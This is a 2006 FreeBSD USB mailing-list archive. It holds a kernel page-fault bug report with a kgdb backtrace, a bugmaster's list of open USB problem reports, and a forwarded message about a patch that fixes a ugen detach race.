From owner-freebsd-usb@FreeBSD.ORG Sun Apr 23 19:40:10 2006 Return-Path: X-Original-To: freebsd-usb@hub.freebsd.org Delivered-To: freebsd-usb@hub.freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 58BA116A408 for ; Sun, 23 Apr 2006 19:40:10 +0000 (UTC) (envelope-from gnats@FreeBSD.org) Received: from freefall.freebsd.org (freefall.freebsd.org [216.136.204.21]) by mx1.FreeBSD.org (Postfix) with ESMTP id ADDA043D46 for ; Sun, 23 Apr 2006 19:40:09 +0000 (GMT) (envelope-from gnats@FreeBSD.org) Received: from freefall.freebsd.org (gnats@localhost [127.0.0.1]) by freefall.freebsd.org (8.13.4/8.13.4) with ESMTP id k3NJe9Sv073089 for ; Sun, 23 Apr 2006 19:40:09 GMT (envelope-from gnats@freefall.freebsd.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.13.4/8.13.4/Submit) id k3NJe9bY073088; Sun, 23 Apr 2006 19:40:09 GMT (envelope-from gnats) Resent-Date: Sun, 23 Apr 2006 19:40:09 GMT Resent-Message-Id: <200604231940.k3NJe9bY073088@freefall.freebsd.org> Resent-From: FreeBSD-gnats-submit@FreeBSD.org (GNATS Filer) Resent-To: freebsd-usb@FreeBSD.org Resent-Reply-To: FreeBSD-gnats-submit@FreeBSD.org, "Ricardo A. Reis" Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 1C35F16A405 for ; Sun, 23 Apr 2006 19:33:58 +0000 (UTC) (envelope-from nobody@FreeBSD.org) Received: from www.freebsd.org (www.freebsd.org [216.136.204.117]) by mx1.FreeBSD.org (Postfix) with ESMTP id C696443D55 for ; Sun, 23 Apr 2006 19:33:57 +0000 (GMT) (envelope-from nobody@FreeBSD.org) Received: from www.freebsd.org (localhost [127.0.0.1]) by www.freebsd.org (8.13.1/8.13.1) with ESMTP id k3NJXvsC045600 for ; Sun, 23 Apr 2006 19:33:57 GMT (envelope-from nobody@www.freebsd.org) Received: (from nobody@localhost) by www.freebsd.org (8.13.1/8.13.1/Submit) id k3NJXvK7045598; Sun, 23 Apr 2006 19:33:57 GMT (envelope-from nobody) Message-Id: <200604231933.k3NJXvK7045598@www.freebsd.org> Date: Sun, 23 Apr 2006 19:33:57 GMT From: "Ricardo A. Reis" To: freebsd-gnats-submit@FreeBSD.org X-Send-Pr-Version: www-2.3 Cc: Subject: usb/96224: [usb] mount_msdosfs cause page fault in syncer process X-BeenThere: freebsd-usb@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: FreeBSD support for USB List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 23 Apr 2006 19:40:10 -0000 >Number: 96224 >Category: usb >Synopsis: [usb] mount_msdosfs cause page fault in syncer process >Confidential: no >Severity: serious >Priority: medium >Responsible: freebsd-usb >State: open >Quarter: >Keywords: >Date-Required: >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Sun Apr 23 19:40:09 GMT 2006 >Closed-Date: >Last-Modified: >Originator: Ricardo A. Reis >Release: FreeBSD-7.0-CURRENT (cvsuped in 21/04/2006) >Organization: UNIFESP >Environment: FreeBSD myfreebsd.homeunix.org 7.0-CURRENT FreeBSD 7.0-CURRENT #10: Fri Apr 21 20:27:55 BRT 2006 root@myfreebsd.homeunix.org:/usr/obj/usr/src/sys/CURRENT i386 >Description: After last update my workstation (k62-500) with striped kernel (generic kernel) reboot after mount_msdosfs attempt. Fatal trap 12: page fault while in kernel mode fault virtual address = 0x80000003 fault code = supervisor read, page not present instruction pointer = 0x20:0xc04a1816 stack pointer = 0x28:0xc9cafbfc frame pointer = 0x28:0xc9cafc10 code segment = base 0x0, limit 0xfffff, type 0x1b = DPL 0, pres 1, def32 1, gran 1 processor eflags = interrupt enabled, resume, IOPL = 0 current process = 33 (syncer) trap number = 12 panic: page fault Uptime: 1m50s Physical memory: 187 MB Dumping 44 MB: 29 13 #0 doadump () at pcpu.h:166 166 pcpu.h: No such file or directory. in pcpu.h (kgdb) where #0 doadump () at pcpu.h:166 #1 0xc04db0dc in boot (howto=260) at /usr/src/sys/kern/kern_shutdown.c:409 #2 0xc04db3b6 in panic (fmt=0xc0663226 "%s") at /usr/src/sys/kern/kern_shutdown.c:565 #3 0xc0642931 in trap_fatal (frame=0xc9cafbbc, eva=2147483651) at /usr/src/sys/i386/i386/trap.c:870 #4 0xc0642681 in trap_pfault (frame=0xc9cafbbc, usermode=0, eva=2147483651) at /usr/src/sys/i386/i386/trap.c:778 #5 0xc0642292 in trap (frame= {tf_fs = 8, tf_es = 40, tf_ds = 40, tf_edi = -1043629440, tf_esi = -2147483645, tf_ebp = -909444080, tf_isp = -909444120, tf_ebx = -1045892460, tf_edx = 4096, tf_ecx = 0, tf_eax = 2, tf_trapno = 12, tf_err = 0, tf_eip = -1068885994, tf_cs = 32, tf_eflags = 590470, tf_esp = 2, tf_ss = 4}) at /usr/src/sys/i386/i386/trap.c:463 #6 0xc0632b9a in calltrap () at /usr/src/sys/i386/i386/exception.s:138 #7 0xc04a1816 in g_io_request (bp=0xc1a8f294, cp=0xc1cb7a80) at /usr/src/sys/geom/geom_io.c:310 #8 0xc04a4029 in g_vfs_strategy (bo=0x2, bp=0xc56bd170) at /usr/src/sys/geom/geom_vfs.c:106 #9 0xc0524907 in bufwrite (bp=0xc56bd170) at buf.h:419 #10 0xc0524f53 in bawrite (bp=0x2) at buf.h:403 #11 0xc052dc7c in vop_stdfsync (ap=0xc9cafcc0) at /usr/src/sys/kern/vfs_default.c:435 #12 0xc049a0a3 in devfs_fsync (ap=0xc9cafcc0) at /usr/src/sys/fs/devfs/devfs_vnops.c:301 #13 0xc0654c5c in VOP_FSYNC_APV (vop=0x2, a=0x1000) at vnode_if.c:1001 #14 0xc0536b90 in sync_vnode (bo=0xc209ece4, td=0xc1957510) at vnode_if.h:537 #15 0xc0536eb0 in sched_sync () at /usr/src/sys/kern/vfs_subr.c:1674 #16 0xc04c2718 in fork_exit (callout=0xc0536c60 , arg=0x0, frame=0xc9cafd38) at /usr/src/sys/kern/kern_fork.c:819 #17 0xc0632bfc in fork_trampoline () at /usr/src/sys/i386/i386/exception.s:199 #1 0xc04db0dc in boot (howto=260) at /usr/src/sys/kern/kern_shutdown.c:409 first_buf_printf = 1 #2 0xc04db3b6 in panic (fmt=0xc0663226 "%s") at /usr/src/sys/kern/kern_shutdown.c:565 td = (struct thread *) 0xc1957510 bootopt = 260 newpanic = 0 ap = 0xc1957510 "Ð(©Á" buf = "page fault", '\0' #3 0xc0642931 in trap_fatal (frame=0xc9cafbbc, eva=2147483651) at /usr/src/sys/i386/i386/trap.c:870 code = 40 type = 12 ss = 40 esp = 0 softseg = {ssd_base = 0, ssd_limit = 1048575, ssd_type = 27, ssd_dpl = 0, ssd_p = 1, ssd_xx = 8, ssd_xx1 = 2, ssd_def32 = 1, ssd_gran = 1} msg = 0x0 #4 0xc0642681 in trap_pfault (frame=0xc9cafbbc, usermode=0, eva=2147483651) at /usr/src/sys/i386/i386/trap.c:778 va = 2147483648 vm = (struct vmspace *) 0x0 map = 0xc06bea40 rv = 1 ftype = 1 '\001' td = (struct thread *) 0xc1957510 p = (struct proc *) 0xc1a928d0 #5 0xc0642292 in trap (frame= {tf_fs = 8, tf_es = 40, tf_ds = 40, tf_edi = -1043629440, tf_esi = -2147483645, tf_ebp = -909444080, tf_isp = -909444120, tf_ebx = -1045892460, tf_edx = 4096, tf_ecx = 0, tf_eax = 2, tf_trapno = 12, tf_err = 0, tf_eip = -1068885994, tf_cs = 32, tf_eflags = 590470, tf_esp = 2, tf_ss = 4}) at /usr/src/sys/i386/i386/trap.c:463 td = (struct thread *) 0xc1957510 p = (struct proc *) 0xc1a928d0 i = 0 ucode = 0 type = 12 code = 0 addr = -1045773824 eva = 2147483651 ksi = {ksi_link = {tqe_next = 0xc9cafb60, tqe_prev = 0xc04fdaf3}, ksi_info = {si_signo = -909444232, si_errno = -1068506014, si_code = -1066670756, si_pid = -1066670756, si_uid = 3249193472, si_status = -1045865984, si_addr = 0xc9cafb94, si_value = {sival_int = -1068620265, sival_ptr = 0xc04e2617}, _reason = {_fault = {_trapno = -1066670756}, _timer = {_timerid = -1066670756, _overrun = 0}, _mesgq = {_mqd = -1066670756}, _poll = { _band = -1066670756}, __spare__ = {__spare1__ = -1066670756, __spare2__ = {0, -1, -1066670756, -1043674940, -909444172, -1068885802, -1066670756}}}}, ksi_flags = -1066671040, ksi_sigq = 0xc1cac92c} #6 0xc0632b9a in calltrap () at /usr/src/sys/i386/i386/exception.s:138 No locals. #7 0xc04a1816 in g_io_request (bp=0xc1a8f294, cp=0xc1cb7a80) at /usr/src/sys/geom/geom_io.c:310 pp = (struct g_provider *) 0x80000003 #8 0xc04a4029 in g_vfs_strategy (bo=0x2, bp=0xc56bd170) at /usr/src/sys/geom/geom_vfs.c:106 cp = (struct g_consumer *) 0xc1cb7a80 bip = (struct bio *) 0x2 #9 0xc0524907 in bufwrite (bp=0xc56bd170) at buf.h:419 oldflags = -1610612572 #10 0xc0524f53 in bawrite (bp=0x2) at buf.h:403 No locals. #11 0xc052dc7c in vop_stdfsync (ap=0xc9cafcc0) at /usr/src/sys/kern/vfs_default.c:435 vp = (struct vnode *) 0xc209ec30 bp = (struct buf *) 0xc56bd170 bo = (struct bufobj *) 0xc56bd170 nbp = (struct buf *) 0x0 error = 0 maxretry = 1000 #12 0xc049a0a3 in devfs_fsync (ap=0xc9cafcc0) at /usr/src/sys/fs/devfs/devfs_vnops.c:301 No locals. #13 0xc0654c5c in VOP_FSYNC_APV (vop=0x2, a=0x1000) at vnode_if.c:1001 rc = 2 #14 0xc0536b90 in sync_vnode (bo=0xc209ece4, td=0xc1957510) at vnode_if.h:537 vp = (struct vnode *) 0xc209ec30 mp = (struct mount *) 0xc1ab8000 #15 0xc0536eb0 in sched_sync () at /usr/src/sys/kern/vfs_subr.c:1674 next = (struct synclist *) 0xc1a34cb4 slp = (struct synclist *) 0xc1a34cb0 bo = (struct bufobj *) 0xc209ece4 starttime = 109 td = (struct thread *) 0xc1957510 dummychan = 0 last_work_seen = 13 net_worklist_len = 4 syncer_final_iter = 0 first_printf = 1 error = 2 #16 0xc04c2718 in fork_exit (callout=0xc0536c60 , arg=0x0, frame=0xc9cafd38) at /usr/src/sys/kern/kern_fork.c:819 p = (struct proc *) 0xc1a928d0 td = (struct thread *) 0x1000 #17 0xc0632bfc in fork_trampoline () at /usr/src/sys/i386/i386/exception.s:199 ehci0: mem 0xec004000-0xec0040ff irq 9 at device 12.3 on pci0 ehci0: [GIANT-LOCKED] usb3: EHCI version 1.0 usb3: companion controllers, 2 ports each: usb1 usb2 usb3: on ehci0 usb3: USB revision 2.0 uhub3: on usb3 uhub3: 6 ports with 6 removable, self powered >How-To-Repeat: >Fix: >Release-Note: >Audit-Trail: >Unformatted: From owner-freebsd-usb@FreeBSD.ORG Mon Apr 24 11:03:09 2006 Return-Path: X-Original-To: freebsd-usb@freebsd.org Delivered-To: freebsd-usb@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id A36AC16A401 for ; Mon, 24 Apr 2006 11:03:09 +0000 (UTC) (envelope-from owner-bugmaster@freebsd.org) Received: from freefall.freebsd.org (freefall.freebsd.org [216.136.204.21]) by mx1.FreeBSD.org (Postfix) with ESMTP id 82B9443D69 for ; Mon, 24 Apr 2006 11:03:03 +0000 (GMT) (envelope-from owner-bugmaster@freebsd.org) Received: from freefall.freebsd.org (peter@localhost [127.0.0.1]) by freefall.freebsd.org (8.13.4/8.13.4) with ESMTP id k3OB33jl035702 for ; Mon, 24 Apr 2006 11:03:03 GMT (envelope-from owner-bugmaster@freebsd.org) Received: (from peter@localhost) by freefall.freebsd.org (8.13.4/8.13.4/Submit) id k3OB32F6035696 for freebsd-usb@freebsd.org; Mon, 24 Apr 2006 11:03:02 GMT (envelope-from owner-bugmaster@freebsd.org) Date: Mon, 24 Apr 2006 11:03:02 GMT Message-Id: <200604241103.k3OB32F6035696@freefall.freebsd.org> X-Authentication-Warning: freefall.freebsd.org: peter set sender to owner-bugmaster@freebsd.org using -f From: FreeBSD bugmaster To: freebsd-usb@FreeBSD.org Cc: Subject: Current problem reports assigned to you X-BeenThere: freebsd-usb@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: FreeBSD support for USB List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 24 Apr 2006 11:03:10 -0000 Current FreeBSD problem reports Critical problems S Submitted Tracker Resp. Description ------------------------------------------------------------------------------- o [2005/08/10] usb/84750 usb [hang] 6-BETA2 reboot/shutdown with root_ o [2006/01/11] usb/91629 usb usbd_abort_pipe() may result in infinite 2 problems total. Serious problems S Submitted Tracker Resp. Description ------------------------------------------------------------------------------- o [2002/07/19] usb/40792 usb signals lead to data loss on device ugen o [2002/12/10] usb/46176 usb [panic] umass causes kernel panic if devi o [2002/12/19] i386/46371 usb USB controller cannot be initialized on I f [2003/08/13] usb/55555 usb [ums] system freezes with access to /dev/ o [2003/09/26] bin/57255 usb usbd and multi-function devices o [2004/01/30] usb/62088 usb [usb] Logitech Cordless/Optical Mouse not o [2004/02/03] usb/62309 usb [ugen] [panic] panic: ugen(4) driver o [2004/03/01] usb/63621 usb [usb] USB MemoryStick Reader stalls/crash o [2004/07/13] usb/69006 usb [patch] Apple Cinema Display hangs USB po o [2004/08/30] usb/71155 usb [usb] misbehaving usb-printer hangs proce o [2004/10/30] usb/73307 usb [panic] Kernel panics on USB disconnect o [2004/12/06] usb/74771 usb [umass] mounting write-protected umass de o [2005/01/01] usb/75705 usb [panic] da0 attach / Optio S4 (with backt o [2005/01/04] usb/75797 usb 5.3-STABLE(2005 1/4) detect USB headset, f [2005/01/13] usb/76204 usb panic while using usb attached modem o [2005/01/18] usb/76395 usb USB printer does not work, usbdevs says " f [2005/01/25] usb/76684 usb [hang] Toshiba PDR-M4 camera connected vi o [2005/02/06] usb/77184 usb kernel panic on USB device disconnect o [2005/02/09] usb/77294 usb ucom + ulpcom panic o [2005/02/23] usb/77940 usb [patch] [panic] insertion of usb keyboard f [2005/03/01] i386/78218 usb [kue] kue not detected on Sony PCG-F370 V o [2005/03/18] usb/78989 usb please add USB keyboard support to instal o [2005/03/22] usb/79140 usb WD Firewire/USB Combo hangs under load on o [2005/03/27] usb/79269 usb USB ohci da0 plug/unplug causes crashes a o [2005/03/27] usb/79287 usb UHCI hang after interrupt transfer o [2005/04/04] usb/79524 usb printing to Minolta PagePro 1[23]xxW via f [2005/04/07] usb/79656 usb [usb] RHSC interrupts lost o [2005/04/09] usb/79722 usb [usb] wrong alignments in ehci.h o [2005/04/17] usb/80040 usb [hang] Use of sound mixer causes system f f [2005/04/22] usb/80260 usb Travan USB tape drive fails to write o [2005/04/26] usb/80361 usb mounting of usb-stick fails o [2005/04/26] usb/80373 usb usb keyboard does not respond f [2005/05/06] usb/80685 usb panic in usb_cold_explore() at begining o [2005/05/09] usb/80829 usb possible panic when loading USB-modules o [2005/05/10] usb/80862 usb [patch] USB locking issues: missing some o [2005/05/20] usb/81308 usb [ugen] [patch] polling a ugen(4) control f [2005/06/13] usb/82198 usb Panic on attaching of ONKI N-338 USB MP3 f [2005/06/15] usb/82272 usb Can not recognize Casio camera EX-Z40 as o [2005/06/17] usb/82350 usb [usb] null pointer dereference in USB sta o [2005/06/22] usb/82520 usb Reboot when USL101 connected o [2005/06/26] usb/82660 usb EHCI: I/O stuck in state 'physrd'/panic o [2005/07/15] usb/83504 usb [usb] SpeedTouch USB stop working on rece o [2005/07/16] usb/83563 usb [panic] Page Fault while detaching Mpman o [2005/07/18] usb/83677 usb [usb] usb controller often not detected ( o [2005/07/19] usb/83756 usb Microsoft Intellimouse Explorer 4.0A does o [2005/07/24] usb/83977 usb [ucom] [panic] ucom1: open bulk out error o [2005/07/30] usb/84326 usb [umass] Panic trying to connect SCSI tape o [2005/07/30] usb/84336 usb [usb] [reboot] instant system reboot when o [2005/08/15] usb/84936 usb install - usb keyboard not recognized o [2005/09/12] usb/86031 usb need support usb nic rt2500 in my 5.4 STA o [2005/09/30] usb/86767 usb [usb] bogus "slice starts beyond end of t o [2005/10/08] usb/87099 usb panic: ohci_add_done: addr 0x000d1bf0 not o [2005/10/16] usb/87519 usb [kbd] cannot install on USB-only system o [2005/10/17] usb/87565 usb [PATCH] Support for Vodaphone 3G/UMTS car o [2005/11/09] usb/88743 usb [hang] USB makes kernel hang at boot (reg o [2005/11/14] usb/88966 usb kldunload ucom.ko returns "Device busy" e o [2005/11/14] usb/89003 usb LaCie Firewire drive not properly support o [2005/11/18] usb/89218 usb flash disk o [2005/12/05] usb/89954 usb [usb] USB Disk driver race condition? f [2005/12/05] usb/89997 usb [umass] [panic] panic on iPod mini detach o [2005/12/09] usb/90162 usb [usb] [patch] Add support for the MS Wire o [2005/12/20] usb/90700 usb Kernel panic on connect/mount/use umass d o [2006/01/02] usb/91238 usb USB tape unit fails to write a second tap o [2006/01/03] usb/91263 usb [patch] USB quirk needed for Logitec USB o [2006/01/03] usb/91283 usb booting very slow with usb devices connec o [2006/01/09] usb/91538 usb Unable to print to EPSON CX3500 o [2006/01/17] usb/91906 usb FreeBSD hangs while booting with USB lega o [2006/01/20] usb/92052 usb usbd causes defunct process with busy fil o [2006/01/22] usb/92142 usb SET_ADDR_FAILED and SHORT_XFER errors fro o [2006/01/22] usb/92171 usb [panic] panic unplugging Vodafone Mobile o [2006/02/10] usb/93155 usb /dev/ulpt0: device busy USB printer doe o [2006/02/15] usb/93408 usb hw.acpi.cpu.cx_lowest=C3 on AMD Turion ca f [2006/02/17] usb/93496 usb USB2.0 umass stalls on VIA o [2006/02/21] usb/93640 usb device ehci causes interrupt storm on thi o [2006/02/23] usb/93738 usb [ukbd] [patch] ukbd_check_char returns FA o [2006/02/25] usb/93828 usb ohci causes panic on boot (HP Pavillion d o [2006/02/28] usb/93949 usb ugen(4)-related repeatable kernel panic i o [2006/03/07] usb/94166 usb btx halted with a flashcard plugged o [2006/03/12] usb/94384 usb kernel panic with usb2 hardware o [2006/03/20] usb/94717 usb Reading from /dev/ulpt can break work of o [2006/03/20] usb/94742 usb [umass] [patch] umass driver does not rec o [2006/03/21] usb/94813 usb mounting write-protected umass device fre o [2006/03/24] usb/94897 usb Kernel Panic when cleanly unmounting USB o [2006/03/30] usb/95131 usb Boot/setup process does not accept key st o [2006/04/05] usb/95348 usb USB keyboard unplug causes noise on scree o [2006/04/10] usb/95562 usb Write Stress in USB Mass drive cause: [v o [2006/04/11] usb/95636 usb [boot] 5 minute delay at boot when using o [2006/04/20] usb/96120 usb USB mouse not always detected o [2006/04/23] usb/96224 usb [usb] mount_msdosfs cause page fault in s 89 problems total. Non-critical problems S Submitted Tracker Resp. Description ------------------------------------------------------------------------------- o [2001/09/30] conf/30929 usb [patch] use usbd to initialize USB ADSL m s [2001/12/09] usb/32653 usb Added patches to improve USB scanner supp o [2002/07/24] usb/40948 usb [usb] USB HP CDW8200 does not work f [2002/08/07] usb/41415 usb [usb] [patch] Some USB scanners cannot ta o [2003/02/16] usb/48342 usb [PATCH] usbd dynamic device list. o [2003/05/08] kern/51958 usb [usb] [patch] update for urio driver o [2003/05/10] kern/52026 usb [usb] feature request: umass driver suppo o [2003/06/08] usb/53025 usb [ugen] [patch] ugen does not allow O_NONB o [2003/08/28] usb/56095 usb [usb] [patch] QUIRK: Apacer Pen Drive fai f [2003/12/15] usb/60248 usb [patch] Problem with USB printer HP Laser o [2004/01/12] usb/61234 usb [usb] [patch] usbhidaction(1) doesn't sup o [2004/03/06] usb/63837 usb [uhid] [patch] USB: hid_is_collection() o o [2004/04/19] kern/65769 usb [usb] Call to tcflush(x, TCIFLUSH) stops o [2004/05/11] kern/66547 usb [usb] Palm Tungsten T USB does not initia o [2004/06/23] usb/68232 usb [ugen] [patch] ugen(4) isochronous handli o [2004/06/27] usb/68412 usb [usb] [patch] QUIRK: Philips KEY013 USB M o [2004/08/16] usb/70523 usb [usb] [patch] umct sending/receiving wron o [2004/08/25] usb/70942 usb [usb] Genius Wireless USB mouse: moused d o [2004/09/06] usb/71416 usb [usb] Cryptoflex e-gate USB token (ugen0) o [2004/09/06] usb/71417 usb [usb] Cryptoflex e-gate USB token (ugen0) o [2004/09/07] usb/71455 usb [usb] Slow USB umass performance of 5.3 o [2004/09/11] usb/71605 usb [umass] [patch] umass doesn't recognize m o [2004/10/06] usb/72380 usb [usb] USB does not work [dual Celeron Abi o [2004/10/15] usb/72732 usb [patch] Kyocera 7135 quirk. o [2004/10/15] usb/72733 usb Kyocera 7135 Palm OS connection problem. o [2004/10/23] usb/73056 usb [usb] Sun Microsystems Type 6 USB mouse n f [2004/11/05] usb/73553 usb [usb] Microsoft USB Internet Keyboard not o [2004/11/21] usb/74211 usb USB flash drive causes CAM status 0x4 on f [2004/11/25] usb/74358 usb [umass] unplugging at boot time an umass o [2004/11/27] usb/74453 usb Q-lity CD-RW USB ECW-043 (ScanLogic SL11R o [2004/11/30] usb/74557 usb imation 500mb usb key can only be written o [2004/12/02] usb/74609 usb [usb] [patch] allowing cdma modems to wor o [2004/12/08] usb/74849 usb [usb] [patch] Samsung SPH-i500 does not a o [2004/12/09] usb/74880 usb [usb] [patch] Samsung N400 cellphone/acm o [2005/01/04] usb/75800 usb ucom1: init failed STALLED error in time o [2005/01/07] usb/75928 usb Cytronix SmartMedia card (SMC) reader has o [2005/01/19] usb/76461 usb [umass] disklabel of umass(4)-CAM(4)-da(4 o [2005/01/27] usb/76732 usb Mouse problems with USB KVM Switch f [2005/03/03] usb/78371 usb Philips Wearable Audio Player (128) fails f [2005/03/18] usb/78984 usb Creative MUVO umass failure o [2005/04/09] usb/79723 usb [usb] prepare for high speed isochronous o [2005/04/09] usb/79725 usb [usb] [patch] USB device speed is not dou o [2005/04/14] usb/79893 usb [umass] [patch] new usbdevs/umass quirks o [2005/04/16] usb/80010 usb [aue] [patch] add support for the AEI USB f [2005/04/27] usb/80420 usb atapicam stops iPod functionality f [2005/05/08] usb/80773 usb "usbd_get_string()" could have taken a le o [2005/05/08] usb/80774 usb have "usbd_find_desc" in line with the ot o [2005/05/08] usb/80776 usb [udav] UDAV device driver shouldn't use u o [2005/05/08] usb/80777 usb usb_rem_task() should wait for callback t o [2005/05/10] usb/80854 usb suggestion for new iface-no-probe mechani o [2005/05/12] usb/80935 usb uvisor.c is not work with CLIE TH55. o [2005/05/15] usb/81073 usb [umass] [patch] fix umass NO_GETMAXLUN qu o [2005/05/18] usb/81191 usb Support for Curitel HX-550C USB modem to f [2005/05/29] usb/81621 usb external hd hangs under load on ehci o [2005/06/20] usb/82436 usb [patch] USL101 Host-to-Host bridge suppor o [2005/06/30] usb/82839 usb [patch] add support for Aceeca Mez1000 de o [2005/07/05] usb/83022 usb ALI USB 2.0 EHCI Controller is not detect o [2005/07/21] usb/83863 usb Communication problem between opensc/open o [2005/08/18] usb/85067 usb Cannot attach ScanJet 4300C to usb device o [2005/09/11] usb/85992 usb [uhid] [patch] USB stops working when try o [2005/09/16] usb/86195 usb [patch] allow USB Ethernet Adaptor "ELECO o [2005/09/18] usb/86298 usb Known good USB mouse won't work with corr o [2005/09/21] usb/86438 usb Fix for non-working iPod over USB is in N o [2005/10/10] usb/87224 usb Cannot mount USB Zip750 o [2005/10/19] usb/87648 usb [mouse] Logitech USB-optical mouse proble o [2005/11/02] usb/88408 usb axe0 read PHY failed o [2005/11/13] usb/88939 usb Fix cheapy Myson USB-IDE adapter f [2005/11/15] usb/89087 usb usb external harddrive hangs with BBB res f [2006/01/01] usb/91191 usb HP LaserJet 1020 (USB printer) not recogn f [2006/01/08] usb/91516 usb [umass] umass0 problems, with Freecom Cla o [2006/01/09] usb/91546 usb [umodem][path] Nokia 6630 mobile phone do o [2006/01/15] usb/91811 usb Compact Flash in HP Photosmart 2610 retur o [2006/01/16] usb/91863 usb Philips USB webcam driver o [2006/01/17] usb/91896 usb Serial Number of USB Memory Sticks is not o [2006/01/25] usb/92306 usb [quirk] [patch] Support for iRiver U10 US o [2006/01/27] usb/92403 usb uplcom.c needs new entry for 4.00 revisio f [2006/01/28] usb/92462 usb [patch] Add support for Epson CX3500/3600 o [2006/02/05] usb/92852 usb Vertical scroll not working properly on A o [2006/02/08] usb/93011 usb HP ScanJet 6200C & uscanner problem o [2006/02/15] usb/93389 usb Digital Camera Pentax S60 don't work o [2006/02/17] usb/93484 usb [umass] [patch] QUIRK: Toshiba TransMemor o [2006/02/26] usb/93872 usb [patch] SCSI quirk required for ELTA 8061 o [2006/03/06] usb/94132 usb USB QUIRK for CENTURY EX35QUAT disk enclo f [2006/03/06] usb/94147 usb doesn't recognise my USB keyboard o [2006/03/06] usb/94148 usb Make if_cdce work with ARM linux handheld o [2006/03/11] usb/94311 usb [ugen][PATCH] allow interrupt IN transact o [2006/03/14] usb/94439 usb [patch] Add support for JNC MP3 Player o [2006/03/26] usb/94946 usb [uhub][patch] code dynamic status size fo o [2006/03/28] usb/95037 usb USB disk didnt recognized on hot-plug. o [2006/03/31] usb/95173 usb [usb] cannot mount external usb harddisk o [2006/04/02] usb/95241 usb Patch to add USB ID for OEM Pharos 360 GP p [2006/04/11] usb/95616 usb [patch] Add support for USB Acer 640BT sc o [2006/04/15] usb/95803 usb Add support for AnyData ADU-E100H o [2006/04/15] usb/95805 usb Add Support for Siemens ES75 modem 94 problems total. From owner-freebsd-usb@FreeBSD.ORG Mon Apr 24 14:27:47 2006 Return-Path: X-Original-To: freebsd-usb@freebsd.org Delivered-To: freebsd-usb@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 2749B16A401 for ; Mon, 24 Apr 2006 14:27:47 +0000 (UTC) (envelope-from mistry.7@osu.edu) Received: from mail.united-ware.com (am-productions.biz [69.61.164.22]) by mx1.FreeBSD.org (Postfix) with ESMTP id A5E2243D72 for ; Mon, 24 Apr 2006 14:27:38 +0000 (GMT) (envelope-from mistry.7@osu.edu) Received: from [192.168.1.100] (am-productions.biz [69.61.164.22]) (authenticated bits=0) by mail.united-ware.com (8.13.4/8.13.4) with ESMTP id k3OEgqbw048256 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Mon, 24 Apr 2006 10:42:58 -0400 (EDT) (envelope-from mistry.7@osu.edu) From: Anish Mistry To: freebsd-usb@freebsd.org Date: Mon, 24 Apr 2006 10:27:44 -0400 User-Agent: KMail/1.9.1 MIME-Version: 1.0 Content-Type: multipart/signed; boundary="nextPart1241358.1Mpj4rurJW"; protocol="application/pgp-signature"; micalg=pgp-sha1 Content-Transfer-Encoding: 7bit Message-Id: <200604241027.44959.mistry.7@osu.edu> X-Spam-Status: No, score=-5.5 required=5.0 tests=ALL_TRUSTED,BAYES_50, MYFREEBSD2 autolearn=failed version=3.1.0 X-Spam-Checker-Version: SpamAssassin 3.1.0 (2005-09-13) on mail.united-ware.com X-Virus-Scanned: ClamAV version 0.88.1, clamav-milter version 0.88.1 on mail.united-ware.com X-Virus-Status: Clean Subject: Fwd: Re: [PATCH] ugen detach race X-BeenThere: freebsd-usb@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: FreeBSD support for USB List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 24 Apr 2006 14:27:47 -0000 --nextPart1241358.1Mpj4rurJW Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Content-Disposition: inline Sending to the usb list as per jhb's suggestion. =2D--------- Forwarded Message ---------- Subject: Re: [PATCH] ugen detach race Date: Saturday 22 April 2006 16:22 =46rom: Anish Mistry To: freebsd-current@freebsd.org Cc: Ian Dowse On Saturday 22 April 2006 14:59, Anish Mistry wrote: > On Wednesday 05 April 2006 04:44, Anish Mistry wrote: > > On Wednesday 05 April 2006 03:53, Anish Mistry wrote: > > > While working on getting hplip ported I ran across a race > > > condition in the ugen code that causes a crash. The following > > > patch fixes a problem where read, write, and ioctl can be > > > called during a detach since sc_dying isn't checked before > > > bumping the reference count. This puts the sc_dying check > > > before the *_do_* functions are called. This includes the patch > > > from usb/81308 to prevent polling on the control endpoint. As > > > well as a few NULL pointer checks from NetBSD. This patch is > > > applicable to RELENG_6. > > > > And CURRENT. > > > > > http://am-productions.biz/docs/ugen-detach-race.patch > > > > > > This doesn't fix the case where an application has a read/write > > > pending and then detach is called. In this case destroy_devl > > > will just keep looping until the read/write completes. > > I've updated the patch. It now includes the fix for the panic on > detach when a process has a device open when a detach occurs. ugen > now no longer waits for the process to close the connection and > just cuts it off. > Applies to RELENG_6 and CURRENT. > > http://am-productions.biz/docs/ugen-detach-race.patch > > The patch should fix usb/93949 too. > This seems to fix all the panics I'm seeing with the ugen device. > It would be nice if this could make it into 6.1. I added another panic fix. An error was introduced in rev 1.94 on ugen.c in the USB_SET_CONFIG ioctl case that calls ugen_make_devnodes. This causes a panic since this logic was moved to ugen_set_config a while ago. Removing the ugen_make_devnodes() call from ugen_do_ioctl fixes the problem. This bug made it trivial to cause a panic when there was access to any ugen device. http://am-productions.biz/docs/ugen-detach-race.patch =2D- Anish Mistry =2D------------------------------------------------------ =2D-=20 Anish Mistry --nextPart1241358.1Mpj4rurJW Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.3 (FreeBSD) 